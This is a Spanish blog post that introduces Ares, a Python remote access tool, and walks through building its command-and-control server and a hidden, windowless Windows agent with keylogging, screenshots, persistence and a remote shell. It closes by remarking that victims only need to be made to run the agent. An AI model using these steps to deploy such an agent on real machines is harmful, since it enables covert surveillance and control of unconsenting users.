domingo, 24 de enero de 2016

Ares: un RAT escrito en Python

Ares es un RAT (Remote Access Tool) escrito en Python. Se compone de dos programas principales:

- Un servidor de comando y control (C&C), que es una interfaz web para administrar los agentes
- Un programa de agente, que se ejecuta en el host comprometido, y garantiza la comunicación con el C&C

La interfaz web se puede ejecutar en cualquier servidor que ejecute Python, aunque previamente se necesita instalar el paquete cherrypy:

pip install cherrypy

El cliente es un programa Python destinado a ser compilado como un ejecutable win32 usando PyInstaller. Tiene como dependencias los módulos requests, pythoncom, pyhook y PIL (Python Imaging Library).

Actualmente soporta:

- shell cmd.exe remoto
- persistencia
- carga/descarga de archivos
- captura de pantalla
- keylogging

Instalación

Primero descargamos el repositorio:

git clone https://github.com/sweetsoftware/Ares.git

Luego creamos la base de datos sqlite:

python db_init.py 


Y lanzamos el servidor:

python server.py
[09/Dec/2015:07:40:51] ENGINE Listening for SIGHUP.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGTERM.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGUSR1.
[09/Dec/2015:07:40:51] ENGINE Bus STARTING
[09/Dec/2015:07:40:51] ENGINE Started monitor thread 'Autoreloader'.
[09/Dec/2015:07:40:51] ENGINE Started monitor thread '_TimeoutMonitor'.
[09/Dec/2015:07:40:51] ENGINE Serving on http://127.0.0.1:8080
[09/Dec/2015:07:40:51] ENGINE Bus STARTED
 

Ahora configuramos el agente:

vi ./agent/settings.py

SERVER_URL = "http://192.168.11.128:8080"
BOT_ID = ""
DEBUG = True
IDLE_TIME = 60
REQUEST_INTERVAL = 2

Y con pyinstaller creamos el ejecutable:

D:\Python27>pip install pyinstaller

D:\Python27\agent>pyinstaller --onefile --noconsole agent.py
65 INFO: wrote D:\Python27\agent\agent.spec
342 INFO: Testing for ability to set icons, version resources...
822 INFO: ... resource update available
825 INFO: UPX is not available.
1083 INFO: Processing hook hook-os
1368 INFO: Processing hook hook-time
1447 INFO: Processing hook hook-cPickle
1675 INFO: Processing hook hook-_sre
2154 INFO: Processing hook hook-cStringIO
2606 INFO: Processing hook hook-encodings
2654 INFO: Processing hook hook-codecs
9250 INFO: Extending PYTHONPATH with D:\Python27\agent
9251 INFO: checking Analysis
9302 INFO: building because out00-Analysis.toc is bad
9302 INFO: running Analysis out00-Analysis.toc
9304 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
...

Por último, sólo nos falta conseguir que las víctimas ejecuten el agente...

  


En definitiva Ares tienen que mejorar bastante: el agente "pesa" demasiado y todavía hay que complementar y añadir nuevas características, pero sin duda se trata de una implementación de un RAT en Python interesante y bastante académica.


https://github.com/sweetsoftware/Ares